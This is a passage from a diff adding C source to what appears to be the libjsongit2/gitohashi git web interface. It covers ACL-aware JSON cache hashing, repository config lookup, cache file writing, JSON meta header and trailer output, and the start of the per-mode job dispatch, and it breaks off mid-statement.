lock */\n+\n+void\n+__jg2_job_hash_visible_repos(struct jg2_vhost *vh, jg2_md5_context md5_ctx,\n+\t\t\t const char *acl_user)\n+{\n+\tlist_ptr lp \u003d vh-\u003erei_head;\n+\n+\twhile (lp) {\n+\t\tstruct repo_entry_info *rei \u003d lp_to_rei(lp, next);\n+\t\tchar *p \u003d (char *)(rei + 1);\n+\n+\t\tif (!__repo_check_acl(vh, p, vh-\u003ecfg.acl_user) ||\n+\t\t (acl_user \u0026\u0026 !__repo_check_acl(vh, p, acl_user)))\n+\t\t\tvh-\u003ecfg.md5_upd(md5_ctx, (unsigned char *)p, strlen(p));\n+\n+\t\tlist_ptr_advance(lp);\n+\t}\n+}\n+\n+/* requires vhost lock (because it may want the jrepo refs) */\n+\n+void\n+__jg2_job_compute_cache_hash(struct jg2_ctx *ctx, jg2_job_enum job, int count,\n+\t\t\t char *md5_hex33)\n+{\n+\tuint16_t je \u003d job + (JG2_JSON_EPOCH \u003c\u003c 8);\n+\tuint32_t c32 \u003d (uint32_t)count;\n+\n+\t/* calculate what the cache file would have been called */\n+\n+\tctx-\u003evhost-\u003ecfg.md5_init(ctx-\u003emd5_ctx);\n+\n+\t/* item 1: the job + an epoch changed when libjsongit2 is updated and\n+\t * older JSON should be invalidated. Older cache guys will\n+\t * no longer be referenced and get reaped from old age.\n+\t */\n+\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx, (unsigned char *)\u0026je, 2);\n+\n+\t/* item 2: the low 32-bits of the count */\n+\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx, (unsigned char *)\u0026c32, 4);\n+\n+\t/* item 3: the repo refs hash (if we are affiliated with a repo) */\n+\tif (ctx-\u003ejrepo) {\n+\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx, ctx-\u003ejrepo-\u003emd5_refs,\n+\t\t\t\t\t sizeof(ctx-\u003ejrepo-\u003emd5_refs));\n+\n+\t/* item 4: the repo filepath (if we are affiliated with a repo) */\n+\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx,\n+\t\t\t\t\t(unsigned char *)ctx-\u003ejrepo-\u003erepo_path,\n+\t\t\t\t\tstrlen(ctx-\u003ejrepo-\u003erepo_path));\n+\n+\t/* item 5: the mode we are looking for results with, if any */\n+\t\tif (ctx-\u003esr.e[JG2_PE_MODE])\n+\t\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx,\n+\t\t\t\t\t(unsigned char *)ctx-\u003esr.e[JG2_PE_MODE],\n+\t\t\t\t\tstrlen(ctx-\u003esr.e[JG2_PE_MODE]));\n+\n+\t/* item 6: the path part inside the repo, if any */\n+\t\tif (ctx-\u003esr.e[JG2_PE_PATH])\n+\t\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx,\n+\t\t\t\t\t(unsigned char *)ctx-\u003esr.e[JG2_PE_PATH],\n+\t\t\t\t\tstrlen(ctx-\u003esr.e[JG2_PE_PATH]));\n+\n+\t/* item 7: the oid if the job could use it (and we have a repo) */\n+\t\tswitch(job) {\n+\t\tcase JG2_JOB_REFLIST: /* doesn't use oid perspective */\n+\t\t\tbreak;\n+\t\tcase JG2_JOB_REPOLIST:/* doesn't use oid perspective */\n+\t\t\tbreak;\n+#if LIBGIT2_HAS_BLAME\n+\t\tcase JG2_JOB_BLAME: /* blame is tied to blob hash */\n+\t\t\tif (!blob_from_commit(ctx)) {\n+\t\t\t\tchar hoid[GIT_OID_HEXSZ + 1];\n+\n+\t\t\t\toid_to_hex_cstr(hoid, git_blob_id(ctx-\u003eu.blob));\n+\t\t\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx,\n+\t\t\t\t\t(unsigned char *)hoid, strlen(hoid));\n+\n+\t\t\t\tgit_object_free(ctx-\u003eu.obj);\n+\t\t\t\tctx-\u003eu.obj \u003d NULL;\n+\t\t\t\tctx-\u003ebody \u003d NULL;\n+\t\t\t\tctx-\u003esize \u003d 0;\n+\t\t\t}\n+\t\t\tbreak;\n+#endif\n+\t\tdefault:\n+\t\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx,\n+\t\t\t\t\t\t(unsigned char *)ctx-\u003ehex_oid,\n+\t\t\t\t\t\tsizeof(ctx-\u003ehex_oid) - 1);\n+\t\t}\n+\n+\t/* item 8: repo info */\n+\n+\t\tif (ctx-\u003esr.e[JG2_PE_NAME]) {\n+\t\t\tlist_ptr lp \u003d ctx-\u003evhost-\u003erei_head;\n+\n+\t\t\twhile (lp) {\n+\t\t\t\tstruct repo_entry_info *rei \u003d lp_to_rei(lp, next);\n+\t\t\t\tchar *p \u003d (char *)(rei + 1);\n+\t\t\t\tsize_t n \u003d JG2_ARRAY_SIZE(rei-\u003econf_len);\n+\n+\t\t\t\tif (!strcmp(p, ctx-\u003esr.e[JG2_PE_NAME]))\n+\t\t\t\t\tn \u003d 0;\n+\n+\t\t\t\tfor (; n \u003c JG2_ARRAY_SIZE(rei-\u003econf_len); n++) {\n+\t\t\t\t\tif (!rei-\u003econf_len[n])\n+\t\t\t\t\t\tcontinue;\n+\n+\t\t\t\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx,\n+\t\t\t\t\t\t\t(unsigned char *)p,\n+\t\t\t\t\t\t\trei-\u003econf_len[n]);\n+\t\t\t\t\tp +\u003d rei-\u003econf_len[n];\n+\t\t\t\t}\n+\n+\t\t\t\tlist_ptr_advance(lp);\n+\t\t\t}\n+\t\t}\n+\n+\t} else {\n+\t\t/*\n+\t\t * there's no repo context, so this is the list of accessible\n+\t\t * repos. We have to include the current list of accessible\n+\t\t * repos, allowing for the vhost and ctx ACLs, in the hash to\n+\t\t * call it a match.\n+\t\t *\n+\t\t * Otherwise the list of ACLs could change, the ctx authorized\n+\t\t * acl_user could change or we could look from a different\n+\t\t * vhost and wrongly match. Only including the vhost name and\n+\t\t * ctx authorized user name isn't enough, since the effect of\n+\t\t * those depends on the gitolite config. We could hash that,\n+\t\t * but the gitolite config may change for unrelated reasons.\n+\t\t *\n+\t\t * Start by hashing in the gitolite-admin HEAD oid, since it\n+\t\t * may also change gitweb config strings etc\n+\t\t */\n+\n+\t\tctx-\u003evhost-\u003ecfg.md5_upd(ctx-\u003emd5_ctx, (unsigned char *)\n+\t\t\tctx-\u003evhost-\u003erepodir-\u003ehexoid_gitolite_conf,\n+\t\t\tsizeof(ctx-\u003evhost-\u003erepodir-\u003ehexoid_gitolite_conf) - 1);\n+\n+\t\t__jg2_job_hash_visible_repos(ctx-\u003evhost, ctx-\u003emd5_ctx,\n+\t\t\t\t\t ctx-\u003eacl_user);\n+\t}\n+\n+\tctx-\u003evhost-\u003ecfg.md5_fini(ctx-\u003emd5_ctx, ctx-\u003ejob_hash);\n+\tmd5_to_hex_cstr(md5_hex33, ctx-\u003ejob_hash);\n+}\n+\n+/**\n+ * jg2_ctx_set_job() - set the current \u0022job\u0022 the context is doing\n+ *\n+ * \u005cparam ctx: pointer to the context\n+ * \u005cparam job: job function enum\n+ * \u005cparam hex_oid: the hex string oid to start the job with, or a ref\n+ *\t\t like \u0022refs/head/master\u0022, or NULL\n+ * \u005cparam count: resrict the job to output this many elements\n+ * \u005cparam flags: Or-able bitflags: JG2_JOB_FLAG_FINAL \u003d last job,\n+ *\t\t JG2_JOB_FLAG_HTML \u003d wrap JSON inside vhost html\n+ *\n+ * Set to NULL if no active job. Otherwise, set to a job function pointer\n+ * from the jg2_jobs() table. Use the enums JG2_JOB_* to select a\n+ * job from the list.\n+ *\n+ * Note hex_oid if given has its content copied by this api, and isn't required\n+ * to persist on the caller side.\n+ */\n+\n+static void\n+jg2_ctx_set_job(struct jg2_ctx *ctx, jg2_job_enum job, const char *hex_oid,\n+\t\tint count, int flags)\n+{\n+\tchar md5_hex[(JG2_MD5_LEN * 2) + 1];\n+\n+\tif (!(flags \u0026 JG2_JOB_FLAG_CHAINED)) {\n+\t\tif (ctx-\u003efd_cache !\u003d -1) {\n+\t\t\tclose(ctx-\u003efd_cache);\n+\t\t\tctx-\u003efd_cache \u003d -1;\n+\t\t}\n+\t}\n+\n+\tctx-\u003epartway \u003d ctx-\u003efinal \u003d 0;\n+\tctx-\u003ejob \u003d jg2_get_job(job);\n+\n+\tif (hex_oid) {\n+\t\tstrncpy(ctx-\u003ehex_oid, hex_oid, sizeof(ctx-\u003ehex_oid) - 1);\n+\t\tctx-\u003ehex_oid[sizeof(ctx-\u003ehex_oid) - 1] \u003d '\u005c0';\n+\t} else\n+\t\tctx-\u003ehex_oid[0] \u003d '\u005c0';\n+\tctx-\u003ecount \u003d count;\n+\tctx-\u003emeta_last_job \u003d !!(flags \u0026 JG2_JOB_FLAG_FINAL);\n+\n+\tif (flags \u0026 JG2_JOB_FLAG_CHAINED)\n+\t\t/*\n+\t\t * We don't have any independent fate for choosing about the\n+\t\t * cache, continue what we did when we decided to do the thing\n+\t\t * that led to this chained action.\n+\t\t */\n+\t\treturn;\n+\n+\tctx-\u003eus_gen \u003d 0;\n+\tctx-\u003ecache_written_p \u003d ctx-\u003ep;\n+\n+\t/* caching is disabled? */\n+\tif (!ctx-\u003evhost-\u003ecfg.json_cache_base)\n+\t\treturn;\n+\n+\tpthread_mutex_lock(\u0026ctx-\u003evhost-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\t__jg2_job_compute_cache_hash(ctx, job, count, md5_hex);\n+\n+\tif (__jg2_cache_query(ctx, md5_hex, \u0026ctx-\u003efd_cache, ctx-\u003ecache,\n+\t\t\t sizeof(ctx-\u003ecache) - 1) \u003d\u003d\n+\t\t\t\t\t \t JG2_CACHE_QUERY_EXISTS) {\n+\t\tctx-\u003ejob \u003d job_spool_from_cache;\n+\t\tif (!ctx-\u003esr.e[JG2_PE_MODE] || !jg2_job_naked(ctx)) {\n+\t\t\tpthread_mutex_unlock(\u0026ctx-\u003evhost-\u003elock); /*vhost unlock */\n+\t\t\tmeta_header(ctx);\n+\n+\t\t\treturn;\n+\t\t}\n+\t}\n+\tpthread_mutex_unlock(\u0026ctx-\u003evhost-\u003elock); /* ---- vhost unlock */\n+}\n+\n+jg2_job\n+jg2_ctx_get_job(struct jg2_ctx *ctx)\n+{\n+\treturn ctx-\u003ejob;\n+}\n+\n+struct cfg_item {\n+\tconst char *git;\n+\tconst char *json;\n+};\n+\n+static const struct cfg_item items[] \u003d {\n+\t{ \u0022gitweb.description\u0022, \u0022desc\u0022 },\n+\t{ \u0022gitweb.owner\u0022, \u0022owner\u0022 },\n+\t{ \u0022gitweb.url\u0022, \u0022url\u0022 },\n+};\n+\n+int\n+jg2_get_repo_config(git_repository *gr, struct repo_entry_info *rei, char *p)\n+{\n+\tgit_config *cfg, *oc;\n+\tint n, len \u003d -1;\n+\n+#if LIBGIT2_HAS_REPO_CONFIG_SNAP\n+\tif (git_repository_config_snapshot(\u0026cfg, gr))\n+#else\n+\tif (git_repository_config(\u0026cfg, gr))\n+#endif\n+\t\tgoto post;\n+\n+\tif (git_config_open_level(\u0026oc, cfg, GIT_CONFIG_LEVEL_LOCAL))\n+\t\tgoto post1;\n+\n+\tlen \u003d 0;\n+\n+\tfor (n \u003d 0; n \u003c (int)JG2_ARRAY_SIZE(items); n++) {\n+\t\tconst char *str;\n+\t\tint slen, m;\n+\n+\t\tif (rei)\n+\t\t\trei-\u003econf_len[n] \u003d 0;\n+\n+\t\tm \u003d git_config_get_string(\u0026str, oc, items[n].git);\n+\t\tif (m)\n+\t\t\tcontinue;\n+\n+\t\tslen \u003d strlen(str);\n+\n+\t\tif (rei) {\n+\t\t\trei-\u003econf_len[n] \u003d slen + 1;\n+\t\t\tmemcpy(p, str, slen + 1);\n+\t\t\tp +\u003d slen + 1;\n+\t\t} else\n+\t\t\tlen +\u003d slen + 1;\n+\t}\n+\n+\tgit_config_free(oc);\n+\n+post1:\n+\tgit_config_free(cfg);\n+\n+post:\n+\treturn len;\n+}\n+\n+const struct repo_entry_info *\n+jg2_lookup_repo_config(struct jg2_vhost *vh, const char *repo_name)\n+{\n+\tstruct repo_entry_info *rei;\n+\tlist_ptr lp \u003d vh-\u003erei_head;\n+\n+\twhile (lp) {\n+\t\trei \u003d lp_to_rei(lp, next);\n+\n+\t\tif (!strcmp((const char *)(rei + 1), repo_name))\n+\t\t\treturn rei;\n+\t\tlist_ptr_advance(lp);\n+\t}\n+\n+\treturn NULL;\n+}\n+\n+const char *\n+jg2_rei_string(const struct repo_entry_info *rei, enum rei_string_index n)\n+{\n+\tconst char *p \u003d (const char *)(rei + 1);\n+\n+\tif (n \u003d\u003d REI_STRING_NAME)\n+\t\treturn p;\n+\tp +\u003d rei-\u003ename_len;\n+\tif (n \u003d\u003d REI_STRING_ACL)\n+\t\treturn p;\n+\tp +\u003d rei-\u003eacl_len;\n+\tif (n \u003d\u003d REI_STRING_CONFIG_DESC)\n+\t\treturn p;\n+\tp +\u003d rei-\u003econf_len[0];\n+\tif (n \u003d\u003d REI_STRING_CONFIG_OWNER)\n+\t\treturn p;\n+\tp +\u003d rei-\u003econf_len[1];\n+\tif (n \u003d\u003d REI_STRING_CONFIG_URL)\n+\t\treturn p;\n+\n+\treturn NULL;\n+}\n+\n+static uint64_t\n+timeval_us(struct timeval *t)\n+{\n+\treturn ((uint64_t)t-\u003etv_sec * 1000000ull) + t-\u003etv_usec;\n+}\n+\n+static void\n+cache_write_complete(struct jg2_ctx *ctx)\n+{\n+\tchar final_name[128], *p;\n+\n+\tclose(ctx-\u003efd_cache);\n+\tctx-\u003efd_cache \u003d -1;\n+\n+\t/*\n+\t * We may have unwittingly been in a race with\n+\t * another thread / process creating the same\n+\t * thing for another client. We prepended the\n+\t * pid + ctx pointer to the temp filepath so\n+\t * they won't clash as files, but only one can\n+\t * be renamed to the final filepath. So we may\n+\t * fail if we lost the race... no worries, the\n+\t * job still got done. Just delete ourselves\n+\t * if the rename fails.\n+\t */\n+\n+\tp \u003d strchr(ctx-\u003ecache, '~');\n+\tif (!p)\n+\t\tunlink(ctx-\u003ecache);\n+\telse {\n+\t\tint n \u003d lws_ptr_diff(p, ctx-\u003ecache);\n+\n+\t\tmemcpy(final_name, ctx-\u003ecache, n);\n+\t\tfinal_name[n] \u003d '\u005c0';\n+\t\tif (rename(ctx-\u003ecache, final_name))\n+\t\t\tunlink(ctx-\u003ecache);\n+\t}\n+}\n+\n+static void\n+cache_write(struct jg2_ctx *ctx, jg2_job job_in)\n+{\n+\tint n, count;\n+\n+\tif (job_in \u003d\u003d job_spool_from_cache)\n+\t\treturn;\n+\n+\tif (ctx-\u003efd_cache \u003d\u003d -1)\n+\t\treturn;\n+\n+\tif (ctx-\u003ecache_written_p \u003d\u003d ctx-\u003ep)\n+\t\treturn;\n+\n+\tcount \u003d lws_ptr_diff(ctx-\u003ep, ctx-\u003ecache_written_p);\n+\tn \u003d write(ctx-\u003efd_cache, ctx-\u003ecache_written_p, count);\n+\n+\tctx-\u003ecache_written_p \u003d ctx-\u003ep;\n+\n+\tif (n \u003d\u003d count)\n+\t\treturn;\n+\n+\t/*\n+\t * ...if we met an error writing into it, close\n+\t * and delete the cache file, but continue with\n+\t * generating the live ctx data\n+\t */\n+\n+\tlwsl_notice(\u0022%s: cache write %s, fd %d, \u0022\n+\t\t \u0022failed: errno %d\u005cn\u0022, __func__,\n+\t\t ctx-\u003ecache, ctx-\u003efd_cache, errno);\n+\tclose(ctx-\u003efd_cache);\n+\tctx-\u003efd_cache \u003d -1;\n+\tunlink(ctx-\u003ecache);\n+}\n+\n+void\n+meta_header(struct jg2_ctx *ctx)\n+{\n+\tconst char *av \u003d \u0022//www.gravatar.com/avatar/\u0022;\n+\tconst struct repo_entry_info *rei \u003d NULL;\n+\tint f \u003d 0, m \u003d 0;\n+\tchar pure[128];\n+\tsize_t n;\n+\n+\tctx-\u003estarted \u003d 1;\n+\tctx-\u003esubsequent \u003d 0;\n+\n+\tif (ctx-\u003emeta || ctx-\u003edestroying)\n+\t\treturn;\n+\n+\tif (ctx-\u003evhost-\u003ecfg.avatar_url)\n+\t\tav \u003d ctx-\u003evhost-\u003ecfg.avatar_url;\n+\n+#if LIBGIT2_HAS_BLAME\n+\tf |\u003d 1;\n+#endif\n+#if defined(JG2_HAVE_ARCHIVE_H)\n+\tf |\u003d 2;\n+#endif\n+\tf |\u003d ctx-\u003eblog_mode \u003c\u003c 2;\n+\n+\tif (ctx-\u003esr.e[JG2_PE_NAME])\n+\t\trei \u003d jg2_lookup_repo_config(ctx-\u003evhost,\n+\t\t\t\t\t ctx-\u003esr.e[JG2_PE_NAME]);\n+\n+\t/*\n+\t * We always issue this first section fresh. That allows it to\n+\t * contain things like the accept-languages header the browser sent,\n+\t * something that's specific to the client (and not possible to get\n+\t * at otherwise from the browser in a standardized way).\n+\t *\n+\t * f b0 \u003d capable of blame\n+\t * b1 \u003d capable of archiving\n+\t * b2 \u003d blog mode\n+\t */\n+\n+\tCTX_BUF_APPEND(\u0022{\u0022\n+\t\t \u0022\u005c\u0022schema\u005c\u0022:\u005c\u0022libjg2-1\u005c\u0022,\u005cn\u0022\n+\t\t \u0022\u005c\u0022vpath\u005c\u0022:\u005c\u0022%s\u005c\u0022,\u005cn\u0022\n+\t\t \u0022\u005c\u0022avatar\u005c\u0022:\u005c\u0022%s\u005c\u0022,\u005cn\u0022\n+\t\t \u0022\u005c\u0022alang\u005c\u0022:\u005c\u0022%s\u005c\u0022,\u005cn\u0022\n+\t\t \u0022\u005c\u0022gen_ut\u005c\u0022:%lu,\u005cn\u0022,\n+\t\t ctx-\u003evhost-\u003ecfg.virtual_base_urlpath, av,\n+\t\t ellipsis_purify(pure, ctx-\u003ealang, sizeof(pure)),\n+\t\t (unsigned long)ctx-\u003etv_gen.tv_sec);\n+\n+\tif (ctx-\u003esr.e[JG2_PE_NAME])\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022reponame\u005c\u0022:\u005c\u0022%s\u005c\u0022,\u005cn\u0022,\n+\t\t\t\t\tctx-\u003esr.e[JG2_PE_NAME]);\n+\n+\tif (!ctx-\u003ejrepo || !ctx-\u003ejrepo-\u003erepo || !rei)\n+\t\tgoto post;\n+\n+\tfor (n \u003d REI_STRING_CONFIG_DESC; n \u003c\u003d REI_STRING_CONFIG_URL; n++) {\n+\t\tconst char *str \u003d jg2_rei_string(rei, n);\n+\n+\t\tif (!str) {\n+\t\t\tm++;\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tif (n \u003d\u003d REI_STRING_CONFIG_OWNER) {\n+\t\t\tCTX_BUF_APPEND(\u0022\u005c\u0022%s\u005c\u0022: {\u0022, items[m].json);\n+\t\t\tidentity_json(str, ctx);\n+\t\t\tCTX_BUF_APPEND(\u0022},\u0022);\n+\t\t} else\n+\t\t\tCTX_BUF_APPEND(\u0022\u005c\u0022%s\u005c\u0022:\u005c\u0022%s\u005c\u0022,\u005cn\u0022, items[m].json,\n+\t\t\t\t ellipsis_purify(pure, str, sizeof(pure)));\n+\t\tm++;\n+\t}\n+\n+post:\n+\tCTX_BUF_APPEND(\u0022\u005c\u0022f\u005c\u0022:%d,\u005cn\u005c\u0022items\u005c\u0022: [\u005cn\u0022, f);\n+\n+\tctx-\u003ecache_written_p \u003d ctx-\u003ep;\n+\n+\tctx-\u003emeta \u003d 1;\n+}\n+\n+void\n+job_common_header(struct jg2_ctx *ctx)\n+{\n+\tchar path[128], *p;\n+\tsize_t l \u003d strlen(ctx-\u003evhost-\u003ecfg.json_cache_base);\n+\n+\tif (strlen(ctx-\u003ecache) \u003c l + 6) {\n+\t\tpath[0] \u003d '?';\n+\t\tpath[1] \u003d '\u005c0';\n+\t} else {\n+\t\tstrncpy(path, ctx-\u003ecache + l + 5, sizeof(path) - 1);\n+\t\tpath[sizeof(path) - 1] \u003d '\u005c0';\n+\n+\t\tp \u003d strchr(path, '~');\n+\t\tif (p)\n+\t\t\t*p \u003d '\u005c0';\n+\t}\n+\n+\tCTX_BUF_APPEND(\u0022{\u0022\n+\t\t\t \u0022\u005c\u0022schema\u005c\u0022:\u005c\u0022libjg2-1\u005c\u0022,\u005cn\u0022);\n+\tif (ctx-\u003evhost-\u003ecfg.json_cache_base)\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022cid\u005c\u0022:\u005c\u0022%s\u005c\u0022,\u005cn\u0022, path);\n+}\n+\n+void\n+meta_trailer(struct jg2_ctx *ctx, const char *term)\n+{\n+\tstruct timeval t2;\n+\tint pc \u003d 0, pc1 \u003d 0;\n+\n+\tif (lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) \u003c JG2_RESERVE_SEAL)\n+\t\tlwsl_err(\u0022%s: JG2_RESERVE_SEAL %d but only %d left\u005cn\u0022, __func__,\n+\t\t\t JG2_RESERVE_SEAL, lws_ptr_diff(ctx-\u003eend, ctx-\u003ep));\n+\n+\tctx-\u003efinal \u003d 1;\n+\n+\tgettimeofday(\u0026t2, NULL);\n+\n+\t/*\n+\t * the numbers are padded so that they don't affect the result length\n+\t * for tests like ab that care about it\n+\t */\n+\n+\tif (term)\n+\t\t/* s section is 12 chars + numbers */\n+\t\tCTX_BUF_APPEND(\u0022%s,\u005c\u0022s\u005c\u0022:{\u005c\u0022c\u005c\u0022:%8lu,\u005c\u0022u\u005c\u0022:%8u}\u0022, term,\n+\t\t (unsigned long)ctx-\u003etv_gen.tv_sec,\n+\t\t (unsigned int)(ctx-\u003eus_gen + (timeval_us(\u0026t2) -\n+\t\t\t\t timeval_us(\u0026ctx-\u003etv_last))));\n+\tctx-\u003etv_last \u003d t2;\n+\n+\t/* we also always seal it with } CR */\n+\n+\tif (term)\n+\t\tCTX_BUF_APPEND(\u0022}\u005cn\u0022);\n+\n+\tif (!ctx-\u003emeta || ctx-\u003edestroying)\n+\t\treturn;\n+\n+\tif (!ctx-\u003emeta_last_job) {\n+\t\tCTX_BUF_APPEND(\u0022,\u0022);\n+\t\treturn;\n+\t}\n+\n+\t/* if we were writing a job cache, it's over now */\n+\n+\tif (ctx-\u003ejob !\u003d job_spool_from_cache \u0026\u0026 ctx-\u003efd_cache !\u003d -1) {\n+\t\tcache_write(ctx, ctx-\u003ejob);\n+\t\tcache_write_complete(ctx);\n+\t}\n+\n+\tif (ctx-\u003evhost-\u003ecache_tries)\n+\t\tpc \u003d (ctx-\u003evhost-\u003ecache_hits * 100) / ctx-\u003evhost-\u003ecache_tries;\n+\n+\tif (ctx-\u003evhost-\u003eetag_tries)\n+\t\tpc1 \u003d (ctx-\u003evhost-\u003eetag_hits * 100) / ctx-\u003evhost-\u003eetag_tries;\n+\n+\tif (!jg2_job_naked(ctx))\n+\t\tCTX_BUF_APPEND(\u0022],\u005c\u0022g\u005c\u0022:%8lu,\u005c\u0022chitpc\u005c\u0022:%8u,\u005c\u0022ehitpc\u005c\u0022:%8u}\u005cn\u005cn\u0022,\n+\t\t\t (unsigned long)(timeval_us(\u0026t2) -\n+\t\t\t timeval_us(\u0026ctx-\u003etv_gen)), pc, pc1);\n+\n+\tctx-\u003estarted \u003d ctx-\u003emeta \u003d 0;\n+}\n+\n+/*\n+ * This performs sequencing for delivering a sandwich of\n+ *\n+ * - optionally first part of vhost HTML before the magic comment\n+ *\n+ * - one or more jobs generating JSON\n+ *\n+ * - optionally the remainder of the HTML after the magic comment\n+ *\n+ * This also makes the selection of which JSON generation jobs need\n+ * doing based on the context's urlpath.\n+ *\n+ * For anything it generates, it statefully respects the buffer size\n+ * and waits to be called again to continue to emit (not necessarily\n+ * to the same buffer)\n+ */\n+\n+int\n+jg2_ctx_fill(struct jg2_ctx *ctx, char *buf, size_t len, size_t *used)\n+{\n+\tconst char *mode, *vid, *reponame;\n+\tsize_t m \u003d 0, left \u003d len - 1;\n+\tstruct timeval t2;\n+\tchar id[64];\n+\tjg2_job job_in;\n+\tint more;\n+\n+\t*used \u003d 0;\n+\n+\tctx-\u003ebuf \u003d buf;\n+\tctx-\u003ep \u003d buf;\n+\tctx-\u003ecache_written_p \u003d buf;\n+\tctx-\u003elen \u003d len;\n+\tctx-\u003eend \u003d (char *)buf + len - 1;\n+\tctx-\u003efinal \u003d 0;\n+\n+\n+\treponame \u003d jg2_ctx_get_path(ctx, JG2_PE_NAME, NULL, 0);\n+\tmode \u003d jg2_ctx_get_path(ctx, JG2_PE_MODE, NULL, 0);\n+\tvid \u003d jg2_ctx_get_path(ctx, JG2_PE_VIRT_ID, id, sizeof(id));\n+\n+\tswitch (ctx-\u003ehtml_state) {\n+\n+\tcase HTML_STATE_HTML_META:\n+\t\tm \u003d ctx-\u003evhost-\u003emeta - ctx-\u003ehtml_pos \u003e left ?\n+\t\t left : ctx-\u003evhost-\u003emeta - ctx-\u003ehtml_pos;\n+\t\tmemcpy(ctx-\u003ep, ctx-\u003evhost-\u003ehtml_content + ctx-\u003ehtml_pos, m);\n+\t\tctx-\u003ehtml_pos +\u003d m;\n+\t\tctx-\u003ep +\u003d m;\n+\n+\t\tif (ctx-\u003ehtml_pos !\u003d ctx-\u003evhost-\u003emeta ||\n+\t\t lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) \u003c 1024)\n+\t\t\tbreak;\n+\n+\t\tCTX_BUF_APPEND(\u0022\u003cmeta name\u003d\u005c\u0022Description\u005c\u0022 content\u003d\u005c\u0022\u0022\n+\t\t\t \u0022generated-by:gitohashi git web interface, \u0022\n+\t\t\t \u0022repository: %s, mode: %s, path: %s\u005c\u0022\u003e\u0022,\n+\t\t\t reponame ? reponame : \u0022-\u0022, mode ? mode : \u0022-\u0022,\n+\t\t\t jg2_ctx_get_path(ctx, JG2_PE_NAME, NULL, 0) ?\n+\t\t\t jg2_ctx_get_path(ctx, JG2_PE_NAME, NULL, 0) : \u0022-\u0022,\n+\t\t\t vid ? vid : \u0022-\u0022);\n+\n+\t\tctx-\u003ehtml_pos +\u003d JG2_HTML_META_LEN;\n+\t\tctx-\u003ehtml_state \u003d HTML_STATE_HTML_HEADER;\n+\n+\t\t/* fallthru */\n+\n+\tcase HTML_STATE_HTML_HEADER:\n+\t\tm \u003d ctx-\u003evhost-\u003edynamic - ctx-\u003ehtml_pos \u003e left ?\n+\t\t left : ctx-\u003evhost-\u003edynamic - ctx-\u003ehtml_pos;\n+\t\tmemcpy(ctx-\u003ep, ctx-\u003evhost-\u003ehtml_content + ctx-\u003ehtml_pos, m);\n+\t\tctx-\u003ehtml_pos +\u003d m;\n+\t\tctx-\u003ep +\u003d m;\n+\n+\t\tif (ctx-\u003ehtml_pos !\u003d ctx-\u003evhost-\u003edynamic ||\n+\t\t lws_ptr_diff(ctx-\u003eend, ctx-\u003ep) \u003c 1024)\n+\t\t\tbreak;\n+\n+\t\tctx-\u003ehtml_pos +\u003d JG2_HTML_DYNAMIC_LEN;\n+\n+\t\t/* fallthru */\n+\n+\tcase HTML_STATE_JOB1:\n+\t\tctx-\u003ehtml_state \u003d HTML_STATE_JSON;\n+\n+\t\tif (mode \u0026\u0026 !strcmp(mode, \u0022log\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_LOG;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_LOG, vid, 50,\n+\t\t\t\t\tJG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022plain\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_PLAIN;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_PLAIN, vid, 0,\n+\t\t\t\t\t\tJG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022commit\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_COMMITBODY;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_COMMIT,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022patch\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_PATCH;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_PATCH,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022tags\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_TAGS;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_REFLIST,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022branches\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_BRANCHES;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_REFLIST,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022tree\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_TREE;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_TREE,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022blog\u0022)) {\n+\t\t\tctx-\u003ejob_state \u003d EMIT_STATE_BLOG;\n+\t\t\tjg2_ctx_set_job(ctx, JG2_JOB_BLOG,\n+\t\t\t\t\tvid, 0, JG2_JOB_FLAG_FINAL);\n+#if LIBGIT2_HAS_BLAME\n+\t\t} else if (mode \u0026\u0026 !strcmp(mode, \u0022blame\u0022)) 